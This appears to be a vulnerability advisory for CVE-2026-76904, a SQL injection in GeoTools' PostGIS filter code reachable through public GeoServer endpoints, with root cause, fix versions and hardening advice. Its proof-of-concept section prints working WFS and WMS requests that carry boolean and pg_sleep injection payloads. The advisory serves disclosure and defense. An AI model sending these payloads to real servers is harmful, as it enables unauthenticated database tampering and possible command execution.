critical · 9.8CVE-2026-76904Aug 21, 2026

CVE-2026-76904: GeoTools gt-jdbc-postgis Unauthenticated SQL Injection via jsonArrayContains

Rohit Hatagale
AI Security Researcher, SecureLayer7

A missing escaping step in GeoTools' PostGIS filter code lets anyone with access to a public GeoServer map endpoint inject arbitrary SQL, and potentially execute OS commands, without logging in.

Packageorg.geotools.jdbc:gt-jdbc-postgis
Ecosystemmaven
Affected= 35.0
Fixed in35.1
CVE-2026-76904: GeoTools gt-jdbc-postgis Unauthenticated SQL Injection via jsonArrayContains

The problem

The jsonArrayContains(<column>, <pointer>, <value>) OGC filter function in org.geotools.jdbc:gt-jdbc-postgis 35.0 writes the third argument, <value>, directly into a PostgreSQL jsonb_path_exists() expression with no escaping or parameterization.

Because GeoServer exposes WFS and WMS endpoints to unauthenticated users by default, an attacker can pass a crafted CQL filter over HTTP and alter the resulting database query. If the database connection uses a superuser or a role with COPY TO/FROM PROGRAM rights, the injection escalates to OS command execution.

Proof of concept

A working proof-of-concept for CVE-2026-76904 in org.geotools.jdbc:gt-jdbc-postgis, with the exact payload below.

http
GET /geoserver/ows?service=WFS&version=2.0.0&request=GetPropertyValue
  &typeNames=myLayer
  &valueReference=jsonArrayContains(json_col,'/x','x'')%20OR%201%3D1--)
HTTP/1.1
Host: target.example.com

# Breakdown: the value argument becomes:
#   jsonb_path_exists(json_col, '$[*] ? (@ == "x") OR 1=1--)')
# Closing quote + paren breaks out of the jsonpath string literal,
# appending arbitrary SQL. For time-based blind confirmation:
# value = x') OR pg_sleep(5)--
# CQL: jsonArrayContains(json_col,'/x','x'') OR pg_sleep(5)--')

# WMS variant:
GET /geoserver/wms?service=WMS&version=1.1.1&request=GetMap
  &layers=myLayer
  &CQL_FILTER=jsonArrayContains(json_col,'/x','x'')%20OR%20pg_sleep(5)--)=true
  &BBOX=...&WIDTH=256&HEIGHT=256&SRS=EPSG:4326&FORMAT=image/png
HTTP/1.1
Host: target.example.com

The root cause is in FilterToSqlHelper.java inside the gt-jdbc-postgis module. The constructEquality() helper builds the jsonb_path_exists() SQL call using Java string formatting (%s) and places the caller-supplied value into the jsonpath string literal without quoting or escaping it.

Every other filter function in GeoTools uses parameterized queries; jsonArrayContains was added later (GEOT-7589, commit 651ee878) to handle the PostgreSQL 12+ jsonpath operator and missed that requirement.

The fix in PR #5829 (commit d821c4d) adds proper string escaping before the value is interpolated, so single quotes in attacker input are neutralized before they reach the database. This is a regression of CVE-2023-25158. Critically, the CVE-2023-25158 mitigation of enabling preparedStatements and disabling encode functions does NOT close this path because the injection lives inside the jsonpath argument construction, not the outer query parameterization.

The fix

Upgrade org.geotools.jdbc:gt-jdbc-postgis to 35.1, 34.5, or 33.6. The corresponding GeoServer releases are 3.0.1, 2.28.5, and 2.27.6. No config-level workaround exists. As a defense-in-depth measure, ensure the PostGIS connection pool uses a least-privilege role with no SUPERUSER or CREATEROLE grants and no access to `COPY ...

PROGRAM`.

Reported by @q1uf3ng.

References: [1][2][3][4][5][6]

Related research